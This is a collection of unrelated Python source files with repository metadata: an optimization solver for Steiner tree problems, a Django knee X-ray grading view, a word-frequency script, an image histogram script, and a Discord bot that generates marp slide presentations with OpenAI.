{"seq_id": "22501166043", "text": "#! /usr/bin/env python3\n\nimport networkx as nx\nimport gurobipy as grb\nimport numpy as np\n\nimport argparse\nimport itertools\n\nfrom pcst_fast import pcst_fast\n\nfrom stp import load_stp\n\nDESCRIPTION = \"\"\"\n Solves an instance of the PCSTP using Gurobi Python.\n\"\"\"\n\nBIG_INT = np.iinfo(np.int64).max\nBIG_FLOAT = np.finfo(np.float64).max\nEPSILON = 10**(-9)\nMAX_CUTS = 1\n\n\ndef build_ilp_model(g):\n    model = grb.Model('pcstp')\n\n    x = model.addVars(g.edges, vtype=grb.GRB.BINARY)\n    y = model.addVars(g.nodes, vtype=grb.GRB.BINARY)\n\n    # OBJECTIVE\n    edge_costs = grb.quicksum(g[i][j]['weight'] * x[i, j] for i, j in g.edges)\n    prize_cost = grb.quicksum(g.node[v]['prize'] * (1 - y[v]) for v in g.nodes)\n    model.setObjective(edge_costs + prize_cost)\n\n    # one less edges than vertices\n    model.addConstr(x.sum() == (y.sum() - 1), name='x.sum == y.sum - 1')\n\n    # Add all |S| = 2 GSECS\n    for i, j in g.edges:\n        model.addConstr(x[i, j] <= y[i])\n        model.addConstr(x[i, j] <= y[j])\n\n    # degree of nonterminals must be at least 2\n\n    # for v in g.node:\n    #     if g.node[v]['prize'] > 0:\n    #         continue\n    #     model.addConstr(x.sum(v, '*') + x.sum('*', v) >= 2 * y[v])\n\n    return model, x, y\n\n\ndef sum_edges(S, x):\n    lhs = grb.LinExpr()\n\n    for i, j in itertools.combinations(S, 2):\n        if (i, j) in x:\n            lhs.add(x[i, j])\n        elif (j, i) in x:\n            lhs.add(x[j, i])\n    return lhs\n\n\ndef separate_gsec_rel(model, x, y, x_bar, y_bar, G):\n    F = nx.DiGraph()\n\n    F.add_node(-1)  # source\n    F.add_node(-2)  # sink\n    for v in G.node:\n        F.add_node(v)\n\n    for i, j in G.edges:\n        capacity = x_bar[i, j] / 2\n        F.add_edge(i, j, capacity=capacity)\n        F.add_edge(j, i, capacity=capacity)\n\n    total_source_cap = 0\n    for i in G.nodes:\n        node = F.node[i]\n\n        capacity = 0\n        for j in G.adj[i]:\n            capacity += F[i][j]['capacity']\n\n        node['capacity'] = capacity\n        source_cap = max(capacity - y_bar[i], 0)\n        F.add_edge(-1, i, capacity=source_cap)\n        F.add_edge(i, -2, capacity=max(y_bar[i] - capacity, 0))\n\n        total_source_cap += source_cap\n\n    cuts = 0\n    # solve max flow problems and collect cuts\n    for i in sorted(F.nodes):\n        if i < 0:\n            continue\n\n        i_capacity = F[-1][i]['capacity']\n        F[-1][i]['capacity'] = float('inf')\n\n        cut_val, cut = nx.minimum_cut(F, _s=-1, _t=-2)\n\n        S, T = cut\n\n        constr = -1 * (cut_val - total_source_cap) + y_bar[i]\n\n        S.discard(-1)\n\n        if constr > 0:\n            rhs = grb.quicksum(y[v] for v in S if v != i)\n            lhs = sum_edges(S, x)\n\n            model.cbCut(lhs <= rhs)\n            cuts += 1\n\n            rhs_bar = grb.quicksum(y_bar[v] for v in S if v != i)\n            lhs_bar = sum_edges(S, x_bar)\n            if lhs_bar.getValue() <= rhs_bar.getValue():\n                print('not violated: ', lhs_bar.getValue(), '<=', rhs_bar.getValue())\n\n        else:\n            rhs_bar = grb.quicksum(y_bar[v] for v in S if v != i).getValue()\n            lhs_bar = sum_edges(S, x_bar).getValue()\n            if lhs_bar > rhs_bar:\n                print('violated: ', lhs_bar, '>', rhs_bar)\n\n        F[-1][i]['capacity'] = i_capacity\n        F[i][-2]['capacity'] = float('inf')\n\n        if cuts >= MAX_CUTS:\n            return cuts\n    return cuts\n\n\ndef add_gsecs(model, x, y, cycles):\n    for cycle in cycles:\n        ysum = grb.quicksum(y[v] for v in cycle)\n\n        lhs = sum_edges(cycle, x)\n\n        for k in cycle:\n            model.cbLazy(lhs <= (ysum - y[k]))\n\n\ndef callback(G, x, y, model, where):\n    if where == grb.GRB.callback.MIPSOL:\n        x_val = model.cbGetSolution(x)\n        # y_val = model.cbGetSolution(y)\n\n        g = nx.Graph()\n\n        for i, j in x_val.keys():\n            if x_val[i, j] > 0.5:\n                g.add_edge(i, j)\n\n        cycles = nx.cycle_basis(g)\n\n        add_gsecs(model, x, y, cycles)\n\n    elif where == grb.GRB.callback.MIPNODE:\n        x_val = model.cbGetNodeRel(x)\n        y_val = model.cbGetNodeRel(y)\n\n        status = model.cbGet(grb.GRB.Callback.MIPNODE_STATUS)\n        nodecount = model.cbGet(grb.GRB.Callback.MIP_NODCNT)\n        if status == grb.GRB.OPTIMAL:\n            cuts = separate_gsec_rel(model, x, y, x_val, y_val, G)\n            # if cuts > 0:\n            # 0\n            # return\n        if status == grb.GRB.OPTIMAL:\n            model._last_node = nodecount\n            for v in G.node:\n                node = G.node[v]\n\n                if y_val[v] > 0.5:\n                    node['prize'] = BIG_INT\n                else:\n                    node['prize'] = node['_prize']\n\n            for i, j in G.edges:\n                edge = G[i][j]\n                edge['weight'] = BIG_FLOAT if x_val[i, j] < 0.1 else edge['_weight']\n\n            gw_nodes, gw_edges = gw(G)\n\n            for v in G.nodes:\n                model.cbSetSolution(y[v], 1 if v in gw_nodes else 0)\n\n            for i, j in G.edges:\n                model.cbSetSolution(x[i, j], 1 if (i, j) in gw_edges else 0)\n\n\ndef gw(g):\n    _e = [(i-1, j-1) for i, j in g.edges]\n    # print(_e, len(g.node))\n    edges = np.array(_e,\n                     dtype='int64')\n    costs = np.array([g[i][j]['weight'] for i, j in g.edges],\n                     dtype='float64')\n    prizes = np.array([g.node[v]['prize'] for v in sorted(g.node)],\n                      dtype='int64')\n\n    gw_nodes, gw_edges = pcst_fast(edges,\n                                   prizes,\n                                   costs,\n                                   -1,\n                                   1,\n                                   'strong',\n                                   0)\n    # print(gw_edges)\n    return set(v+1 for v in gw_nodes), set((i+1, j+1) for i, j in edges[gw_edges])\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=DESCRIPTION)\n\n    parser.add_argument('pcstp', help='The PCSTP instance as a stp file')\n\n    args = parser.parse_args()\n\n    g, N, int_only = load_stp(args.pcstp)\n\n    model, x, y = build_ilp_model(g)\n\n    # Get GW initial solution\n    gw_nodes, gw_edges = gw(g)\n\n    for v in g.nodes:\n        y[v].start = 1 if v in gw_nodes else 0\n        y[v].setAttr(grb.GRB.Attr.BranchPriority, 2 if v in N else 0)\n\n    for i, j in g.edges:\n        x[i, j].start = 1 if (i, j) in gw_edges else 0\n\n    model.Params.lazyConstraints = 1\n    model.Params.preCrush = 1\n    model.Params.heuristics = 0\n\n    model._int_only = int_only\n    model._last_node = 0\n    model.modelSense = grb.GRB.MINIMIZE\n\n    model.optimize(lambda m, w: callback(g, x, y, m, w))\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "wsprent/thesis-code", "sub_path": "python_gurobi/pcstp/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 6642, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.iinfo", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.finfo", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 19, "usage_type": "attribute"}, {"api_name": "gurobipy.Model", "line_number": 25, "usage_type": "call"}, {"api_name": "gurobipy.GRB", "line_number": 27, "usage_type": "attribute"}, {"api_name": "gurobipy.GRB", "line_number": 28, "usage_type": "attribute"}, {"api_name": "gurobipy.quicksum", "line_number": 31, "usage_type": "call"}, {"api_name": "gurobipy.quicksum", "line_number": 32, "usage_type": "call"}, {"api_name": "gurobipy.LinExpr", "line_number": 54, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 56, "usage_type": "call"}, {"api_name": "networkx.DiGraph", "line_number": 65, "usage_type": "call"}, {"api_name": "networkx.minimum_cut", "line_number": 101, "usage_type": "call"}, {"api_name": "gurobipy.quicksum", "line_number": 110, "usage_type": "call"}, {"api_name": "gurobipy.quicksum", "line_number": 116, "usage_type": "call"}, {"api_name": "gurobipy.quicksum", "line_number": 122, "usage_type": "call"}, {"api_name": "gurobipy.quicksum", "line_number": 137, "usage_type": "call"}, {"api_name": "gurobipy.GRB", "line_number": 146, "usage_type": "attribute"}, {"api_name": "networkx.Graph", "line_number": 150, "usage_type": "call"}, {"api_name": "networkx.cycle_basis", "line_number": 156, "usage_type": "call"}, {"api_name": "gurobipy.GRB", "line_number": 160, "usage_type": "attribute"}, {"api_name": "gurobipy.GRB", "line_number": 164, "usage_type": "attribute"}, {"api_name": "gurobipy.GRB", "line_number": 165, "usage_type": "attribute"}, {"api_name": "gurobipy.GRB", "line_number": 166, "usage_type": "attribute"}, {"api_name": "gurobipy.GRB", "line_number": 171, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 197, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 201, "usage_type": "call"}, {"api_name": "pcst_fast.pcst_fast", "line_number": 204, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 216, "usage_type": "call"}, {"api_name": "stp.load_stp", "line_number": 222, "usage_type": "call"}, {"api_name": "gurobipy.GRB", "line_number": 231, "usage_type": "attribute"}, {"api_name": "gurobipy.GRB", "line_number": 242, "usage_type": "attribute"}]}
{"seq_id": "37692419180", "text": "from django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import render\nfrom .apps import KneeAppConfig\nfrom django.contrib import messages\nimport cv2, numpy as np, json\nfrom django.views.generic.base import TemplateView\n\ndef class_result(result):\n    class_names = \"\"\n    if result == 0:\n        class_names = 'Minimal'\n    elif result == 1:\n        class_names = 'Healthy'\n    elif result == 2:\n        class_names = 'Moderate'\n    elif result == 3:\n        class_names = 'Doubtful'\n    elif result == 4:\n        class_names = 'Severe'\n    return class_names\n\ndef ImageUploadTempView(request):\n    if request.method == 'POST':\n        # messages.success(request, 'Detected Successfully!')\n        test_pixel_data = []\n        image_size = 100\n        imageFile = request.FILES.get('myfile', False)            \n        if imageFile:\n            #convert string data to numpy array\n            filestr = imageFile.read()\n            npimg = np.fromstring(filestr, np.uint8)\n            # convert numpy array to image\n            img = cv2.imdecode(npimg, cv2.IMREAD_GRAYSCALE)               \n            new_img_array = cv2.resize(img, (image_size, image_size))\n            # print(\"****New Image Array****\", new_img_array, \"******\")\n            # print(\"Shape***********\", new_img_array.shape)\n            test_pixel_data.append(new_img_array)\n            test_pixel_data = np.array(test_pixel_data)\n            test_pixel_data = test_pixel_data.reshape(-1, image_size, image_size, 1)\n            pred = KneeAppConfig.load_model.predict(test_pixel_data)\n            result = int(np.argmax(pred))\n            return HttpResponse(json.dumps({\"status\":\"Successful\", 'result':class_result(result), 'grade': result}))\n        else:\n            return messages.error(request, 'Upload an Image!')\n    return render(request, 'index.html')\n\n", "repo_name": "Vicolas11/Osteoarthritis", "sub_path": "knee_app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1848, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.fromstring", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 31, "usage_type": "attribute"}, {"api_name": "cv2.imdecode", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 33, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 38, "usage_type": "call"}, {"api_name": "apps.KneeAppConfig.load_model.predict", "line_number": 40, "usage_type": "call"}, {"api_name": "apps.KneeAppConfig.load_model", "line_number": 40, "usage_type": "attribute"}, {"api_name": "apps.KneeAppConfig", "line_number": 40, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 41, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 42, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 42, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 44, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 44, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 45, "usage_type": "call"}]}
{"seq_id": "39611239129", "text": "from nltk.corpus import stopwords\nfrom collections import Counter\nimport sys\nimport pprint\nimport csv\n\n\n'Argument List:', str(sys.argv)\npath=str(sys.argv[1])\nprint(sys.argv[1])\n\n#path=\"sloh.txt\"\n#path=\"rocnikovka.txt\"\nfile=open(path, \"r\")\nobsah=file.read().decode(\"utf-8\", \"ignore\").encode(\"utf-8\")\n#print(obsah)\n\nwords=obsah.split()\n\nif (\"the\" in words) and (\"and\" in words):\n  language=\"english\"\nelse:\n  language=\"czech\"\n\nif  language==\"english\":\n  stop=set(stopwords.words(\"english\"))\nelse:\n  file2=open(\"czechStopwords.txt\", \"r\")\n  obsah2=file2.read().decode(\"utf-8\", \"ignore\").encode(\"utf-8\")\n  stop=set(obsah2.split())\n#print(stop)\n\nclean=[]\nfor word in words:\n  if word.lower() not in stop:\n     clean.append(word.lower())\nprint(clean)     \n\ncntr = Counter(clean)\nmostCommon=cntr.most_common(10)\n\n#for most in mostCommon:\n#\tprintln (most)\n\npprint.pprint(mostCommon)\n\nwith open('top.csv', 'w') as output:\n    writer = csv.writer(output, delimiter=',')\n    writer.writerows(mostCommon)    ", "repo_name": "evahoralikova/python", "sub_path": "DS/analytika.py", "file_name": "analytika.py", "file_ext": "py", "file_size_in_byte": 994, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.argv", "line_number": 8, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 10, "usage_type": "attribute"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 26, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 26, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 39, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 45, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 48, "usage_type": "call"}]}
{"seq_id": "73552818788", "text": "import numpy as np\nimport imageio, util\nimport os\nimport matplotlib.pyplot as plt\n\nplt.rc('font', size=30)\n\n\ndef histogram(filedir):\n    imagestack, TE = imageio.loadImages2(os.path.join('..', 'data', filedir))\n    channels = ['red', 'green', 'blue']\n\n    save_dir = os.path.join('..', 'result', filedir, 'hist')\n    if not os.path.exists(save_dir):\n        os.makedirs(save_dir)\n\n    for I, te in zip(imagestack, TE):\n        print('processing image te={:8.4f}'.format(te))\n        fig = plt.figure(num=1, figsize=(20, 12))\n        plt.subplot(1, 2, 1)\n        plt.imshow(I)\n        plt.subplot(1, 2, 2)\n        RGB_freqs = []\n        for i in range(len(channels)):\n            RGB_freqs.append(util.hist_count(I[:,:,i]))\n            plt.plot(np.arange(256), RGB_freqs[i], lw=1, color=channels[i])\n        plt.xlabel('Intensity')\n        plt.ylabel('Freqeuncy')\n        plt.tight_layout()\n        print(RGB_freqs)\n        plt.show()\n        fig.savefig(os.path.join(save_dir, 'te_{:8.4f}.svg'.format(te)))\n        fig.savefig(os.path.join(save_dir, 'te_{:8.4f}.pdf'.format(te)))\n\n\nif __name__ == '__main__':\n    histogram('example')\n", "repo_name": "GUG11/HDR", "sub_path": "python/experiment.py", "file_name": "experiment.py", "file_ext": "py", "file_size_in_byte": 1134, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 16, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.pyplot.rc", "line_number": 6, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 6, "usage_type": "name"}, {"api_name": "imageio.loadImages2", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "util.hist_count", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}]}
{"seq_id": "33617580097", "text": "import openai\nimport discord\nfrom discord import Intents\nfrom discord.commands import slash_command, option\nfrom discord.ext import commands\nimport re\nimport os\nimport asyncio\nimport logging\nimport datetime\nimport base64\nimport requests\nimport zipfile\nfrom zipfile import ZipFile\nfrom dotenv import load_dotenv\nload_dotenv()\nuse_images = os.getenv(\"USE_IMAGES\")\ncooldown = os.getenv(\"COOLDOWN\")\nif use_images != \"No\": import imagesGeneration\nlogging.basicConfig(level=logging.INFO)\nimageint = \"\"\nif use_images != \"No\": imageint = \"To add an image illustration , use ![bg left:50% 70%](a-long-detailed-description-of-the-image.png) at the beginning of the slide, just after \\\"---\\\". Use only .png. It's not possible to add technical images but only illustrations. The images are generated by an ai, the name of the file should be a detailed quite long description of the image wanted. You always need to specify the description of the image.\"\nintstructions = f'''Here is a presentation with marp. It's not possible to make slides longer than 200 characters. to separate slides, \n\"\n\n---\n\n\"\n then go at the line. The presentatio should be for everybody, all technical words and concepts, explained. {imageint} The presentation is minimum 20 slides long. You can use bulletpoints. Use markdown formatting (titles, etc...). The presentation has also a conclusion.'''\nbot = discord.Bot()\n\nstyles = [\"default\", \"gaia\", \"uncover\", \"default-dark\", \"gaia-dark\", \"uncover-dark\", \"olive\"]\nlanguages = [\"english\", \"french\", \"spanish\", \"german\", \"italian\", \"portuguese\", \"russian\", \"chinese\", \"japanese\", \"korean\", \"arabic\"]\ndarkstyles = [\"default-dark\", \"gaia-dark\", \"uncover-dark\"]\ncustomstyles = [\"olive\"]\nasync def get_style(ctx: discord.AutocompleteContext):\n    \"\"\"Returns a list of colors that begin with the characters entered so far.\"\"\"\n    return [style for style in styles if style.startswith(ctx.value.lower())]\nasync def get_ln(ctx: discord.AutocompleteContext):\n    return [language for language in languages if language.startswith(ctx.value.lower())]\n\n@bot.slash_command(name=\"private_present\", description=\"Generate a presentation with marp, private command for user 707196665668436019\")\n@option(name=\"subject\", description=\"The subject of the presentation\", required=True)\n@option(name=\"style\", description=\"The style of the presentation\", required=False, autocomplete=get_style)\n@option(name=\"center\", description=\"Center the text\", required=False)\n@option(name=\"language\", description=\"The language of the presentation\", required=False, autocomplete=get_ln)\n@option(name=\"indications\", description=\"The indications for the presentation\", required=False)\n#command wprks only in dm and only for user 707196665668436019\n@commands.is_owner()\nasync def private_present(ctx: discord.ApplicationContext, subject: str, style: str = \"default\", center: bool = True, language: str = \"english\", indications: str = \"\"):\n    await present(ctx, subject, style, language, indications)\n\n@bot.slash_command(name=\"present\", description=\"Generate a presentation with marp\")\n#we create a function that takes the subject of the presentation and the style of the presentation as arguments, and that\n@option(name=\"subject\", description=\"The subject of the presentation\", required=True)\n@option(name=\"style\", description=\"The style of the presentation\", required=False, autocomplete=get_style)\n@option(name=\"center\", description=\"Center the text\", required=False)\n@option(name=\"language\", description=\"The language of the presentation\", required=False, autocomplete=get_ln)\n@option(name=\"indications\", description=\"The indications for the presentation\", required=False)\n# a cooldown of duration cooldown seconds, except if the user is 707196665668436019\n#@commands.cooldown(1, int(cooldown), commands.BucketType.user)\n@commands.cooldown(1, int(cooldown), commands.BucketType.guild)\nasync def normal_present(ctx: discord.ApplicationContext, subject: str, style: str = \"default\", center: bool = True, language: str = \"english\", indications: str = \"\"):\n    await present(ctx, subject, style, language, indications)\nasync def present(ctx: discord.ApplicationContext, subject: str, style: str = \"default\", center: bool = True, language: str = \"english\", indications: str = \"\"):\n    await ctx.defer()\n    date = datetime.datetime.now()\n    date = date.strftime(\"%Y-%m-%d-%H-%M-%S\")\n    #if the style is dark\n    dark = False\n    if style in darkstyles: \n        style = style.replace(\"-dark\", \"\")\n        dark = True \n    marp = f'''---\nmarp: true\ntheme: {styles[styles.index(style)]}\nclass:\n'''\n    if dark: marp = marp + f\"    - invert\\n---\"\n    if center: marp = marp + \"    - lead\\n---\"\n    else: marp = marp + \"\\n---\"\n#    if style in customstyles: \n#        marp = f\"/* @theme {style} */\\n\" + marp\n#        print(marp)\n    prompt = f\"{intstructions} {indications} The subject of the presentation is: {subject} The Language is: {language} <|endofprompt|> \\n {marp}\"    \n    subject2 = subject\n    forbidden = [\"\\\\\", \"/\", \"?\", \"!\", \":\", \";\", \"(\", \")\", \"[\", \"]\", \"{\", \"}\", \"'\", '\"', \"=\", \"+\", \"*\", \"&\", \"^\", \"%\", \"$\", \"#\", \"@\", \"`\", \"~\", \"|\", \"<\", \">\", \",\", \".\", \"?\", \" \"]\n    for i in forbidden: \n        if i in subject: subject = subject.replace(i, \"-\")\n    #we save teh subject in base64 in a variable\n    #if dosen't exist, create a directory called \"userid\" where the userid is the id of the user who called the command\n    uid = str(ctx.author.id)\n    if not os.path.exists(\"./data/\"+uid):\n        os.mkdir(\"./data/\"+uid)\n    datenow = datetime.datetime.now()\n    datenow = datenow.strftime(\"%Y-%m-%d-%H-%M-%S\")\n    response = await openai.Completion.acreate(\n        engine=\"text-davinci-003\",\n        prompt=prompt,\n        temperature=0.6,\n        max_tokens=1024,\n        top_p=1,\n        frequency_penalty=0,\n        presence_penalty=0,\n        stop=[\"<|endofprompt|>\"]\n    )\n    #we save the output in a variable\n    output = response[\"choices\"][0][\"text\"]\n    present = marp + output\n    ##we save the output in a file called \"subject.md\"\n    matches = re.finditer(r'!\\[.*?\\]\\((.*?)\\)', present)\n    image_filenames = []\n    for match in matches:\n        image_filenames.append(match.group(1))\n    #we create a text file with the image names and a md file for the presentation with utf8 encoding\n    if len(subject) > 15: subject = subject[:15]    \n    b64 = base64.urlsafe_b64encode(subject.encode(\"utf-8\"))\n    os.mkdir(f\"./data/{uid}/{b64}{datenow}\")\n    path = f\"./data/{uid}/{b64}{datenow}\"\n    with open(f\"{path}/{subject}-images.txt\", \"w\", encoding=\"utf8\") as f:\n        for image in image_filenames:\n            f.write(image + \"\\n\")\n    with open(f\"{path}/{subject}.md\", \"w\", encoding=\"utf8\") as f: f.write(present)\n    if len(image_filenames) > 0 and  use_images!=\"no\":\n        #now we first remove the extension from the image filenames by removing the last 4 characters\n        image_filenames = [image[:-4] for image in image_filenames]\n        print(image_filenames)\n        for images in image_filenames:\n            print (\"generating image \" + images + \"with \" + str(use_images))\n            r = await imagesGeneration.generate(images, f\"{os.getcwd()}\\\\data\\\\{uid}\\\\{b64}{datenow}\\\\\", str(use_images), apikey)\n            if str(use_images) == \"sd\": os.rename(f\"{os.getcwd()}\\\\.\\\\data\\\\{uid}\\\\{b64}{datenow}\\\\{images}_0.png\", f\"{os.getcwd()}\\\\data\\\\{uid}\\\\{b64}{datenow}\\\\{images}.png\")\n            if str(use_images) == \"dalle\":\n                image_url = r['data'][0]['url']\n                img_data = requests.get(image_url).content\n                with open(f'{path}/{images}.png', 'wb') as handler:\n                    handler.write(img_data)\n                await asyncio.sleep(15) #wait 15 seconds to avoid rate limiting\n    cmd = f\"--pdf --allow-local-files {path}/{subject}.md\"\n    if style in customstyles: cmd = cmd + f\" --theme ./themes/{style}.css\"\n    if os.path.exists(\"./marp.exe\"):\n        os.system(f\"marp.exe {cmd}\")\n    else:\n        cmd = cmd.replace(\"'\", \"\\\\'\")\n        os.system(f\"./marp {cmd}\")\n    cmd = f\" --image png -o {path}/{subject}.png --allow-local-files {path}/{subject}.md\"\n    if style in customstyles: cmd = cmd + f\" --theme ./themes/{style}.css\"\n    if os.path.exists(\"./marp.exe\"):\n        os.system(f\"marp.exe {cmd}\")\n    else:\n        cmd = cmd.replace(\"'\", \"\\\\'\")\n        os.system(f\"./marp {cmd}\")\n    cmd = f\" --html --allow-local-files {path}/{subject}.md\"\n    if style in customstyles: cmd = cmd + f\" --theme ./themes/{style}.css\" \n    if os.path.exists(\"./marp.exe\"):\n        os.system(f\"marp.exe {cmd}\")\n    else:\n        cmd = cmd.replace(\"'\", \"\\\\'\") \n        os.system(f\"./marp {cmd}\")\n    cmd = f\" --pptx --allow-local-files {path}/{subject}.md\"\n    if style in customstyles: cmd = cmd + f\" --theme ./themes/{style}.css\" \n    if os.path.exists(\"./marp.exe\"):\n        os.system(f\"marp.exe {cmd}\")\n    else:\n        cmd = cmd.replace(\"'\", \"\\\\'\") \n        os.system(f\"./marp {cmd}\")\n    #now, we create a zip file with all the files\n    zipObj = ZipFile(f\"{path}/{subject}.zip\", 'w')\n    zipObj.write(f\"{path}/{subject}.md\", f\"{subject}.md\")\n    zipObj.write(f\"{path}/{subject}.html\", f\"{subject}.html\")\n    zipObj.write(f\"{path}/{subject}.pdf\", f\"{subject}.pdf\")\n    zipObj.write(f\"{path}/{subject}.png\", f\"{subject}.png\")\n    zipObj.write(f\"{path}/{subject}.pptx\", f\"{subject}.pptx\")\n    with open(f\"{path}/{subject}-images.txt\", \"r\", encoding=\"utf8\") as f:\n        for image in f.readlines():\n            zipObj.write(f\"{path}/{image.strip()}\", f\"{image.strip()}\")\n    zipObj.close()\n    embed = discord.Embed(title=subject2, description=\"Thanks for using presentator bot. You will find your presentation in the attached zip file in the following formats: markdown, html, pdf, pptx, and the presentation' images. If you want to modify your presentation you can use the markdown file. More information about how to modify the file [HERE](https://marp.app).\", color=discord.Color.brand_red())\n    files = [discord.File(f\"{path}/{subject}.zip\"), discord.File(f\"{path}/{subject}.png\")]\n    embed.set_image(url=f\"attachment://{subject}.png\")\n    await ctx.respond(embed=embed, files=files)\n\n@bot.slash_command(name=\"list\", description=\"List all the presentations you have created\")\nasync def list(ctx: discord.ApplicationContext):\n    embed = discord.Embed(title=\"Presentations\", description=\"Here is the list of all the presentations you have created. You can download the presentation in different formats (pdf, markdown, html) by doing `/get` \\\"*presentation id*\\\". The images are generated by an ai. If you want to modify your presentation you can use the markdown file. More information about how to modify the file [HERE](https://marp.app).\", color=0x00ff00)\n    liste = await get_presentations(str(ctx.author.id))\n    for key in liste:\n        embed.add_field(name=f\"{liste[key]}\", value=f\" `{key}`\", inline=False)\n    await ctx.respond(embed=embed, ephemeral=True)\n\nasync def get_presentations(uid):\n    folders = os.listdir(f\"./data/{uid}\")\n    names = {}\n    for folder in folders:\n        name = base64.urlsafe_b64decode(folder[2:-20]).decode(\"utf-8\")\n        names[folder] = name\n    return names\n\n@bot.slash_command(name=\"get\", description=\"Get a presentation\")\n@option(name=\"pid\", description=\"The id of the presentation\", required=True)\nasync def get(ctx: discord.ApplicationContext, pid: str):\n    uid = str(ctx.author.id)\n    liste = await get_presentations(uid)\n    if pid in liste:\n        files = [discord.File(f\"./data/{uid}/{pid}/{liste[pid]}.pdf\"), discord.File(f\"./data/{uid}/{pid}/{liste[pid]}.md\"), discord.File(f\"./data/{uid}/{pid}/{liste[pid]}.html\")]\n        await ctx.respond(files=files, ephemeral=True)\n\n@bot.event\nasync def on_ready():\n    print(\"Bot is ready\")\n    if not os.path.exists(\"data\"):\n        os.mkdir(\"data\")\n@bot.event\nasync def on_application_command_error(ctx, error):\n    #if there is an error we send a message to the user\n    await ctx.respond(f\"An error occured: {error}\", ephemeral=True)\n\n#get the openai key drom he key.env file\ntoken = os.getenv(\"TOKEN\")\napikey = os.getenv(\"OPENAI\")\nopenai.api_key = apikey\nbot.run(token)", "repo_name": "Paillat-dev/presentator", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 12159, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 22, "dataset": "github-code", "pt": "71", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 16, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 17, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 20, "usage_type": "attribute"}, {"api_name": "discord.Bot", "line_number": 30, "usage_type": 